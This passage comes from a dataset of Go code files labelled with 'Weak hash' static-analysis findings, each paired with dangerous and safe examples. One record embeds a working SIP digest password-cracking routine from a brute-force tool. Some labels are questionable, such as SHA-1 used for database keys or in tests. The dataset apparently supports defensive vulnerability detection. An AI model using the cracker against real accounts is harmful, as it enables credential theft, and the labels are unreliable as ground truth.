err)\n\trequire.NotNil(t, ap)\n\n\tfor _, tt := range testCases {\n\t\trunIndividualTestCase(t, tt, ap)\n\t}\n}\n\nfunc TestAttributes_FromAttributeNoChange(t *testing.T) {\n\ttc := testCase{\n\t\tname: \"FromAttributeNoChange\",\n\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\"boo\": pdata.NewAttributeValueString(\"ghosts are scary\"),\n\t\t},\n\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\"boo\": pdata.NewAttributeValueString(\"ghosts are scary\"),\n\t\t},\n\t}\n\n\tcfg := &Settings{\n\t\tActions: []ActionKeyValue{\n\t\t\t{Key: \"boo\", Action: INSERT, FromAttribute: \"boo\"},\n\t\t\t{Key: \"boo\", Action: UPDATE, FromAttribute: \"boo\"},\n\t\t\t{Key: \"boo\", Action: UPSERT, FromAttribute: \"boo\"},\n\t\t},\n\t}\n\n\tap, err := NewAttrProc(cfg)\n\trequire.Nil(t, err)\n\trequire.NotNil(t, ap)\n\n\trunIndividualTestCase(t, tc, ap)\n}\n\nfunc TestAttributes_Ordering(t *testing.T) {\n\ttestCases := []testCase{\n\t\t// For this example, the operations performed are\n\t\t// 1. insert `operation`: `default`\n\t\t// 2. insert `svc.operation`: `default`\n\t\t// 3. delete `operation`.\n\t\t{\n\t\t\tname: \"OrderingApplyAllSteps\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t\t\"svc.operation\": pdata.NewAttributeValueString(\"default\"),\n\t\t\t},\n\t\t},\n\t\t// For this example, the operations performed are\n\t\t// 1. do nothing for the first action of insert `operation`: `default`\n\t\t// 2. insert `svc.operation`: `arithmetic`\n\t\t// 3. delete `operation`.\n\t\t{\n\t\t\tname: \"OrderingOperationExists\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t\t\"operation\": pdata.NewAttributeValueString(\"arithmetic\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t\t\"svc.operation\": pdata.NewAttributeValueString(\"arithmetic\"),\n\t\t\t},\n\t\t},\n\n\t\t// For this example, the operations performed are\n\t\t// 1. insert `operation`: `default`\n\t\t// 2. update `svc.operation` to `default`\n\t\t// 3. delete `operation`.\n\t\t{\n\t\t\tname: \"OrderingSvcOperationExists\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t\t\"svc.operation\": pdata.NewAttributeValueString(\"some value\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t\t\"svc.operation\": pdata.NewAttributeValueString(\"default\"),\n\t\t\t},\n\t\t},\n\n\t\t// For this example, the operations performed are\n\t\t// 1. do nothing for the first action of insert `operation`: `default`\n\t\t// 2. update `svc.operation` to `arithmetic`\n\t\t// 3. delete `operation`.\n\t\t{\n\t\t\tname: \"OrderingBothAttributesExist\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t\t\"operation\": pdata.NewAttributeValueString(\"arithmetic\"),\n\t\t\t\t\"svc.operation\": pdata.NewAttributeValueString(\"add\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t\t\"svc.operation\": pdata.NewAttributeValueString(\"arithmetic\"),\n\t\t\t},\n\t\t},\n\t}\n\n\tcfg := &Settings{\n\t\tActions: []ActionKeyValue{\n\t\t\t{Key: \"operation\", Action: INSERT, Value: \"default\"},\n\t\t\t{Key: \"svc.operation\", Action: UPSERT, FromAttribute: \"operation\"},\n\t\t\t{Key: \"operation\", Action: DELETE},\n\t\t},\n\t}\n\n\tap, err := NewAttrProc(cfg)\n\trequire.Nil(t, err)\n\trequire.NotNil(t, ap)\n\n\tfor _, tt := range testCases {\n\t\trunIndividualTestCase(t, tt, ap)\n\t}\n}\n\nfunc TestInvalidConfig(t *testing.T) {\n\ttestcase := []struct {\n\t\tname string\n\t\tactionLists []ActionKeyValue\n\t\terrorString string\n\t}{\n\t\t{\n\t\t\tname: \"missing key\",\n\t\t\tactionLists: []ActionKeyValue{\n\t\t\t\t{Key: \"one\", Action: DELETE},\n\t\t\t\t{Key: \"\", Value: 123, Action: UPSERT},\n\t\t\t},\n\t\t\terrorString: \"error creating AttrProc due to missing required field \\\"key\\\" at the 1-th actions\",\n\t\t},\n\t\t{\n\t\t\tname: \"invalid action\",\n\t\t\tactionLists: []ActionKeyValue{\n\t\t\t\t{Key: \"invalid\", Action: \"invalid\"},\n\t\t\t},\n\t\t\terrorString: \"error creating AttrProc due to unsupported action \\\"invalid\\\" at the 0-th actions\",\n\t\t},\n\t\t{\n\t\t\tname: \"unsupported value\",\n\t\t\tactionLists: []ActionKeyValue{\n\t\t\t\t{Key: \"UnsupportedValue\", Value: []int{}, Action: UPSERT},\n\t\t\t},\n\t\t\terrorString: \"error unsupported value type \\\"[]int\\\"\",\n\t\t},\n\t\t{\n\t\t\tname: \"missing value or from attribute\",\n\t\t\tactionLists: []ActionKeyValue{\n\t\t\t\t{Key: \"MissingValueFromAttributes\", Action: INSERT},\n\t\t\t},\n\t\t\terrorString: \"error creating AttrProc. Either field \\\"value\\\", \\\"from_attribute\\\" or \\\"from_context\\\" setting must be specified for 0-th action\",\n\t\t},\n\t\t{\n\t\t\tname: \"both set value and from attribute\",\n\t\t\tactionLists: []ActionKeyValue{\n\t\t\t\t{Key: \"BothSet\", Value: 123, FromAttribute: \"aa\", Action: UPSERT},\n\t\t\t},\n\t\t\terrorString: \"error creating AttrProc due to multiple value sources being set at the 0-th actions\",\n\t\t},\n\t\t{\n\t\t\tname: \"pattern shouldn't be specified\",\n\t\t\tactionLists: []ActionKeyValue{\n\t\t\t\t{Key: \"key\", RegexPattern: \"(?P.*?)$\", FromAttribute: \"aa\", Action: INSERT},\n\t\t\t},\n\t\t\terrorString: \"error creating AttrProc. Action \\\"insert\\\" does not use the \\\"pattern\\\" field. This must not be specified for 0-th action\",\n\t\t},\n\t\t{\n\t\t\tname: \"missing rule for extract\",\n\t\t\tactionLists: []ActionKeyValue{\n\t\t\t\t{Key: \"aa\", Action: EXTRACT},\n\t\t\t},\n\t\t\terrorString: \"error creating AttrProc due to missing required field \\\"pattern\\\" for action \\\"extract\\\" at the 0-th action\",\n\t\t},\n\t\t{name: \"set value for extract\",\n\t\t\tactionLists: []ActionKeyValue{\n\t\t\t\t{Key: \"Key\", RegexPattern: \"(?P.*?)$\", Value: \"value\", Action: EXTRACT},\n\t\t\t},\n\t\t\terrorString: \"error creating AttrProc. Action \\\"extract\\\" does not use a value source field. These must not be specified for 0-th action\",\n\t\t},\n\t\t{\n\t\t\tname: \"set from attribute for extract\",\n\t\t\tactionLists: []ActionKeyValue{\n\t\t\t\t{Key: \"key\", RegexPattern: \"(?P.*?)$\", FromAttribute: \"aa\", Action: EXTRACT},\n\t\t\t},\n\t\t\terrorString: \"error creating AttrProc. Action \\\"extract\\\" does not use a value source field. These must not be specified for 0-th action\",\n\t\t},\n\t\t{\n\t\t\tname: \"invalid regex\",\n\t\t\tactionLists: []ActionKeyValue{\n\t\t\t\t{Key: \"aa\", RegexPattern: \"(?P.*?)$\", Action: EXTRACT},\n\t\t\t},\n\t\t\terrorString: \"error creating AttrProc. Field \\\"pattern\\\" has invalid pattern: \\\"(?P.*?)$\\\" to be set at the 0-th actions\",\n\t\t},\n\t\t{\n\t\t\tname: \"delete with regex\",\n\t\t\tactionLists: []ActionKeyValue{\n\t\t\t\t{RegexPattern: \"(?P.*?)$\", Key: \"ab\", Action: DELETE},\n\t\t\t},\n\t\t\terrorString: \"error creating AttrProc. Action \\\"delete\\\" does not use value sources or \\\"pattern\\\" field. These must not be specified for 0-th action\",\n\t\t},\n\t\t{\n\t\t\tname: \"regex with unnamed capture group\",\n\t\t\tactionLists: []ActionKeyValue{\n\t\t\t\t{Key: \"aa\", RegexPattern: \".*$\", Action: EXTRACT},\n\t\t\t},\n\t\t\terrorString: \"error creating AttrProc. Field \\\"pattern\\\" contains no named matcher groups at the 0-th actions\",\n\t\t},\n\t\t{\n\t\t\tname: \"regex with one unnamed capture groups\",\n\t\t\tactionLists: []ActionKeyValue{\n\t\t\t\t{Key: \"aa\", RegexPattern: \"^\\\\/api\\\\/v1\\\\/document\\\\/(?P.*)\\\\/update\\\\/(.*)$\", Action: EXTRACT},\n\t\t\t},\n\t\t\terrorString: \"error creating AttrProc. Field \\\"pattern\\\" contains at least one unnamed matcher group at the 0-th actions\",\n\t\t},\n\t}\n\n\tfor _, tc := range testcase {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tap, err := NewAttrProc(&Settings{Actions: tc.actionLists})\n\t\t\tassert.Nil(t, ap)\n\t\t\tassert.EqualValues(t, errors.New(tc.errorString), err)\n\t\t})\n\t}\n}\n\nfunc TestValidConfiguration(t *testing.T) {\n\tcfg := &Settings{\n\t\tActions: []ActionKeyValue{\n\t\t\t{Key: \"one\", Action: \"Delete\"},\n\t\t\t{Key: \"two\", Value: 123, Action: \"INSERT\"},\n\t\t\t{Key: \"three\", FromAttribute: \"two\", Action: \"upDaTE\"},\n\t\t\t{Key: \"five\", FromAttribute: \"two\", Action: \"upsert\"},\n\t\t\t{Key: \"two\", RegexPattern: \"^\\\\/api\\\\/v1\\\\/document\\\\/(?P.*)\\\\/update$\", Action: \"EXTRact\"},\n\t\t},\n\t}\n\tap, err := NewAttrProc(cfg)\n\trequire.NoError(t, err)\n\n\tav := pdata.NewAttributeValueInt(123)\n\tcompiledRegex := regexp.MustCompile(`^\\/api\\/v1\\/document\\/(?P.*)\\/update$`)\n\tassert.Equal(t, []attributeAction{\n\t\t{Key: \"one\", Action: DELETE},\n\t\t{Key: \"two\", Action: INSERT,\n\t\t\tAttributeValue: &av,\n\t\t},\n\t\t{Key: \"three\", FromAttribute: \"two\", Action: UPDATE},\n\t\t{Key: \"five\", FromAttribute: \"two\", Action: UPSERT},\n\t\t{Key: \"two\", Regex: compiledRegex, AttrNames: []string{\"\", \"documentId\"}, Action: EXTRACT},\n\t}, ap.actions)\n\n}\n\nfunc sha1Hash(b []byte) string {\n\t// #nosec\n\th := sha1.New()\n\th.Write(b)\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil))\n}\n\nfunc TestFromContext(t *testing.T) {\n\n\tmdCtx := client.NewContext(context.TODO(), client.Info{\n\t\tMetadata: client.NewMetadata(map[string][]string{\n\t\t\t\"source_single_val\": {\"single_val\"},\n\t\t\t\"source_multiple_val\": {\"first_val\", \"second_val\"},\n\t\t}),\n\t})\n\n\ttestCases := []struct {\n\t\tname string\n\t\tctx context.Context\n\t\texpectedAttributes map[string]pdata.AttributeValue\n\t\taction *ActionKeyValue\n\t}{\n\t\t{\n\t\t\tname: \"no_metadata\",\n\t\t\tctx: context.TODO(),\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{},\n\t\t\taction: &ActionKeyValue{Key: \"dest\", FromContext: \"source\", Action: INSERT},\n\t\t},\n\t\t{\n\t\t\tname: \"no_value\",\n\t\t\tctx: mdCtx,\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{},\n\t\t\taction: &ActionKeyValue{Key: \"dest\", FromContext: \"source\", Action: INSERT},\n\t\t},\n\t\t{\n\t\t\tname: \"single_value\",\n\t\t\tctx: mdCtx,\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\"dest\": pdata.NewAttributeValueString(\"single_val\")},\n\t\t\taction: &ActionKeyValue{Key: \"dest\", FromContext: \"source_single_val\", Action: INSERT},\n\t\t},\n\t\t{\n\t\t\tname: \"multiple_values\",\n\t\t\tctx: mdCtx,\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\"dest\": pdata.NewAttributeValueString(\"first_val;second_val\")},\n\t\t\taction: &ActionKeyValue{Key: \"dest\", FromContext: \"source_multiple_val\", Action: INSERT},\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tap, err := NewAttrProc(&Settings{\n\t\t\t\tActions: []ActionKeyValue{*tc.action},\n\t\t\t})\n\t\t\trequire.Nil(t, err)\n\t\t\trequire.NotNil(t, ap)\n\t\t\tattrMap := pdata.NewAttributeMap()\n\t\t\tap.Process(tc.ctx, nil, attrMap)\n\t\t\tattrMap.Sort()\n\t\t\trequire.Equal(t, pdata.NewAttributeMapFromMap(tc.expectedAttributes).Sort(), attrMap)\n\t\t})\n\t}\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 19, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "0f6de9e00152a8e2fb85945c6527525779f215d92458ff122bc7b286a2680128", "license": {"spdx": ["MIT"], "repo": "packetassailant/sipbrute", "path": "utils/siputils.go", "repo_head_hexsha": "5be2fdd3d3bb51eddb9631ea72dea40fd5b2d513", "stack_hexsha": "f136d8b2ac7b9650d4173a37ff48c6012614daa4", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package utils\n\nimport (\n\t\"bufio\"\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/packetassailant/sipbrute/models\"\n)\n\n// UtilMarshaller wraps class to protect global namespace\ntype UtilMarshaller struct{}\n\nvar keywords = []string{\n\t\"Via\",\n\t\"From\",\n\t\"To\",\n\t\"Call-ID\",\n\t\"Max-Forwards\",\n\t\"CSeq\",\n\t\"User-Agent\",\n\t\"Contact\",\n\t\"Authorization\",\n\t\"Content-Length\",\n\t\"Expires\",\n}\n\n// ParseResponse extracts params from SIP reponse body\nfunc (um *UtilMarshaller) ParseResponse(path string) (map[string]string, error) {\n\theaderMap := make(map[string]string)\n\n\tpathBuf, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer pathBuf.Close()\n\n\tpathScanner := bufio.NewScanner(pathBuf)\n\tfor pathScanner.Scan() {\n\t\tlineBuf := string(pathScanner.Text())\n\t\tlineArr := strings.SplitN(lineBuf, \":\", 2)\n\t\tresult := contains(lineArr[0], keywords)\n\t\tif result {\n\t\t\theaderMap[lineArr[0]] = lineArr[1]\n\t\t}\n\t}\n\tif err := pathScanner.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn headerMap, nil\n}\n\n// ParseAuthHeader to extract header value\nfunc (um *UtilMarshaller) ParseAuthHeader(hdr map[string]string) map[string]string {\n\tvar value string\n\tattrMap := make(map[string]string)\n\tfor k, v := range hdr {\n\t\tif k == \"Authorization\" {\n\t\t\tvalue = strings.TrimSpace(v)\n\t\t\tauthSlice := strings.SplitN(value, \" \", 2)\n\t\t\tattrSlice := strings.Split(authSlice[1], \",\")\n\t\t\tfor _, v := range attrSlice {\n\t\t\t\tcompSlice := strings.Split(v, \"=\")\n\t\t\t\tattrMap[compSlice[0]] = strings.Replace(compSlice[1], \"\\\"\", \"\", -1)\n\t\t\t}\n\t\t}\n\t}\n\treturn attrMap\n}\n\n// CrackHash is a setter to attempt hash collisions\nfunc (um *UtilMarshaller) CrackHash(s *models.SIPStruct, dict string, verbose bool) (string, error) {\n\tdictBuf, err := os.Open(dict)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer dictBuf.Close()\n\n\tvar crackStatus = fmt.Sprintf(\"No password match found for hash: %s\", s.Response)\n\n\tdictScanner := bufio.NewScanner(dictBuf)\n\tif err := dictScanner.Err(); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tfmt.Printf(\"Starting crack of hash: %s\\n\", s.Response)\n\n\tworkercount := runtime.NumCPU()\n\tpasswds := make(chan string, workercount)\n\tisClosed := false\n\twg := &sync.WaitGroup{}\n\t// This lock is needed to ensure we don't close a closed channel.\n\t// This can happen if there are two matching passwords in a list.\n\tlk := sync.RWMutex{}\n\n\tha2 := getMD5Hash(s.Method + \":\" + s.URI)\n\tfor i := 0; i < workercount; i++ {\n\t\tgo func(s *models.SIPStruct, ha2 string) {\n\t\t\tfor passwd := range passwds {\n\t\t\t\tha1 := getMD5Hash(s.Username + \":\" + s.Realm + \":\" + passwd)\n\t\t\t\tha3 := getMD5Hash(ha1 + \":\" + s.Nonce + \":\" + ha2)\n\n\t\t\t\tif verbose {\n\t\t\t\t\tfmt.Printf(\"Attempting hash crack: %s\\n\", passwd)\n\t\t\t\t\tfmt.Printf(\"Created hash format ha1: %s\\n\", ha1)\n\t\t\t\t\tfmt.Printf(\"Created hash format ha2: %s\\n\", ha2)\n\t\t\t\t\tfmt.Printf(\"Created hash format ha3: %s\\n\", ha3)\n\t\t\t\t}\n\n\t\t\t\tif ha3 == s.Response {\n\t\t\t\t\tlk.Lock()\n\t\t\t\t\tcrackStatus = fmt.Sprintf(\"Password match: %s on hash %s\", passwd, ha3)\n\t\t\t\t\tif !isClosed {\n\t\t\t\t\t\tisClosed = true\n\t\t\t\t\t\tclose(passwds)\n\t\t\t\t\t}\n\t\t\t\t\tlk.Unlock()\n\t\t\t\t}\n\t\t\t\twg.Done()\n\t\t\t}\n\t\t}(s, ha2)\n\t}\n\n\tfor dictScanner.Scan() {\n\t\tlk.RLock()\n\t\tif !isClosed {\n\t\t\twg.Add(1)\n\t\t\tpasswds <- strings.TrimSpace(dictScanner.Text())\n\t\t}\n\t\tlk.RUnlock()\n\t}\n\n\twg.Wait()\n\n\tlk.Lock()\n\tif !isClosed {\n\t\tclose(passwds)\n\t}\n\tlk.Unlock()\n\n\treturn crackStatus, nil\n}\n\nfunc getMD5Hash(text string) string {\n\thasher := md5.New()\n\thasher.Write([]byte(text))\n\treturn hex.EncodeToString(hasher.Sum(nil))\n}\n\nfunc contains(str string, list []string) bool {\n\tfor _, v := range list {\n\t\tif v == str {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "797e969b10f35abdd083fcfbe2afb8b650bf7d1d50c295ebf0e4c8def5d4464e", "license": {"spdx": ["Apache-2.0"], "repo": "dbs/cayley", "path": "graph/leveldb/quadstore.go", "repo_head_hexsha": "969aa1a6c39334f92d937d31411366e02e44491c", "stack_hexsha": "0a7fe99c78026b2329929012fd29afa0fc721929", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 19, "entireCode": "// Copyright 2014 The Cayley Authors. All rights reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage leveldb\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha1\"\n\t\"encoding/binary\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"hash\"\n\t\"sync\"\n\n\t\"github.com/barakmich/glog\"\n\t\"github.com/syndtr/goleveldb/leveldb\"\n\t\"github.com/syndtr/goleveldb/leveldb/opt\"\n\t\"github.com/syndtr/goleveldb/leveldb/util\"\n\n\t\"github.com/google/cayley/graph\"\n\t\"github.com/google/cayley/graph/iterator\"\n\t\"github.com/google/cayley/keys\"\n\t\"github.com/google/cayley/quad\"\n)\n\nfunc init() {\n\tgraph.RegisterQuadStore(\"leveldb\", true, newQuadStore, createNewLevelDB)\n}\n\nconst (\n\tDefaultCacheSize = 2\n\tDefaultWriteBufferSize = 20\n)\n\nvar (\n\thashPool = sync.Pool{\n\t\tNew: func() interface{} { return sha1.New() },\n\t}\n\thashSize = sha1.Size\n\n)\n\ntype Token []byte\n\nfunc (t Token) Key() interface{} {\n\treturn string(t)\n}\n\ntype QuadStore struct {\n\tdbOpts *opt.Options\n\tdb *leveldb.DB\n\tpath string\n\topen bool\n\tsize int64\n\thorizon int64\n\twriteopts *opt.WriteOptions\n\treadopts *opt.ReadOptions\n}\n\nfunc createNewLevelDB(path string, _ graph.Options) error {\n\topts := &opt.Options{}\n\tdb, err := leveldb.OpenFile(path, opts)\n\tif err != nil {\n\t\tglog.Errorf(\"Error: could not create database: %v\", err)\n\t\treturn err\n\t}\n\tdefer db.Close()\n\tqs := &QuadStore{}\n\tqs.db = db\n\tqs.writeopts = &opt.WriteOptions{\n\t\tSync: true,\n\t}\n\tqs.Close()\n\treturn nil\n}\n\nfunc newQuadStore(path string, options graph.Options) (graph.QuadStore, error) {\n\tvar qs QuadStore\n\tvar err error\n\tqs.path = path\n\tcacheSize := DefaultCacheSize\n\tif val, ok := options.IntKey(\"cache_size_mb\"); ok {\n\t\tcacheSize = val\n\t}\n\tqs.dbOpts = &opt.Options{\n\t\tBlockCacheCapacity: cacheSize * opt.MiB,\n\t}\n\tqs.dbOpts.ErrorIfMissing = true\n\n\twriteBufferSize := DefaultWriteBufferSize\n\tif val, ok := options.IntKey(\"writeBufferSize\"); ok {\n\t\twriteBufferSize = val\n\t}\n\tqs.dbOpts.WriteBuffer = writeBufferSize * opt.MiB\n\tqs.writeopts = &opt.WriteOptions{\n\t\tSync: false,\n\t}\n\tqs.readopts = &opt.ReadOptions{}\n\tdb, err := leveldb.OpenFile(qs.path, qs.dbOpts)\n\tif err != nil {\n\t\tglog.Errorln(\"Error, could not open! \", err)\n\t\treturn nil, err\n\t}\n\tqs.db = db\n\tglog.Infoln(qs.GetStats())\n\terr = qs.getMetadata()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &qs, nil\n}\n\nfunc (qs *QuadStore) GetStats() string {\n\tout := \"\"\n\tstats, err := qs.db.GetProperty(\"leveldb.stats\")\n\tif err == nil {\n\t\tout += fmt.Sprintln(\"Stats: \", stats)\n\t}\n\tout += fmt.Sprintln(\"Size: \", qs.size)\n\treturn out\n}\n\nfunc (qs *QuadStore) Size() int64 {\n\treturn qs.size\n}\n\nfunc (qs *QuadStore) Horizon() graph.PrimaryKey {\n\treturn keys.NewSequentialKey(qs.horizon)\n}\n\nfunc hashOf(s string) []byte {\n\th := hashPool.Get().(hash.Hash)\n\th.Reset()\n\tdefer hashPool.Put(h)\n\tkey := make([]byte, 0, hashSize)\n\th.Write([]byte(s))\n\tkey = h.Sum(key)\n\treturn key\n}\n\nfunc (qs *QuadStore) createKeyFor(d [4]quad.Direction, q quad.Quad) []byte {\n\tkey := make([]byte, 0, 2+(hashSize*4))\n\t// TODO(kortschak) Remove dependence on String() method.\n\tkey = append(key, []byte{d[0].Prefix(), d[1].Prefix()}...)\n\tkey = append(key, hashOf(q.Get(d[0]))...)\n\tkey = append(key, hashOf(q.Get(d[1]))...)\n\tkey = append(key, hashOf(q.Get(d[2]))...)\n\tkey = append(key, hashOf(q.Get(d[3]))...)\n\treturn key\n}\n\nfunc (qs *QuadStore) createValueKeyFor(s string) []byte {\n\tkey := make([]byte, 0, 1+hashSize)\n\tkey = append(key, []byte(\"z\")...)\n\tkey = append(key, hashOf(s)...)\n\treturn key\n}\n\ntype IndexEntry struct {\n\tquad.Quad\n\tHistory []int64\n}\n\n// Short hand for direction permutations.\nvar (\n\tspo = [4]quad.Direction{quad.Subject, quad.Predicate, quad.Object, quad.Label}\n\tosp = [4]quad.Direction{quad.Object, quad.Subject, quad.Predicate, quad.Label}\n\tpos = [4]quad.Direction{quad.Predicate, quad.Object, quad.Subject, quad.Label}\n\tcps = [4]quad.Direction{quad.Label, quad.Predicate, quad.Subject, quad.Object}\n)\n\nfunc (qs *QuadStore) ApplyDeltas(deltas []graph.Delta, ignoreOpts graph.IgnoreOpts) error {\n\tbatch := &leveldb.Batch{}\n\tresizeMap := make(map[string]int64)\n\tsizeChange := int64(0)\n\tfor _, d := range deltas {\n\t\tif d.Action != graph.Add && d.Action != graph.Delete {\n\t\t\treturn errors.New(\"leveldb: invalid action\")\n\t\t}\n\t\tbytes, err := json.Marshal(d)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tbatch.Put(keyFor(d), bytes)\n\t\terr = qs.buildQuadWrite(batch, d.Quad, d.ID.Int(), d.Action == graph.Add)\n\t\tif err != nil {\n\t\t\tif err == graph.ErrQuadExists && ignoreOpts.IgnoreDup {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err == graph.ErrQuadNotExist && ignoreOpts.IgnoreMissing {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\t\tdelta := int64(1)\n\t\tif d.Action == graph.Delete {\n\t\t\tdelta = int64(-1)\n\t\t}\n\t\tresizeMap[d.Quad.Subject] += delta\n\t\tresizeMap[d.Quad.Predicate] += delta\n\t\tresizeMap[d.Quad.Object] += delta\n\t\tif d.Quad.Label != \"\" {\n\t\t\tresizeMap[d.Quad.Label] += delta\n\t\t}\n\t\tsizeChange += delta\n\t\tqs.horizon = d.ID.Int()\n\t}\n\tfor k, v := range resizeMap {\n\t\tif v != 0 {\n\t\t\terr := qs.UpdateValueKeyBy(k, v, batch)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\terr := qs.db.Write(batch, qs.writeopts)\n\tif err != nil {\n\t\tglog.Error(\"could not write to DB for quadset.\")\n\t\treturn err\n\t}\n\tqs.size += sizeChange\n\treturn nil\n}\n\nfunc keyFor(d graph.Delta) []byte {\n\tkey := make([]byte, 0, 19)\n\tkey = append(key, 'd')\n\tkey = append(key, []byte(fmt.Sprintf(\"%018x\", d.ID.Int()))...)\n\treturn key\n}\n\nfunc (qs *QuadStore) buildQuadWrite(batch *leveldb.Batch, q quad.Quad, id int64, isAdd bool) error {\n\tvar entry IndexEntry\n\tdata, err := qs.db.Get(qs.createKeyFor(spo, q), qs.readopts)\n\tif err != nil && err != leveldb.ErrNotFound {\n\t\tglog.Error(\"could not access DB to prepare index: \", err)\n\t\treturn err\n\t}\n\tif err == nil {\n\t\t// We got something.\n\t\terr = json.Unmarshal(data, &entry)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tentry.Quad = q\n\t}\n\n\tif isAdd && len(entry.History)%2 == 1 {\n\t\tglog.Errorf(\"attempt to add existing quad %v: %#v\", entry, 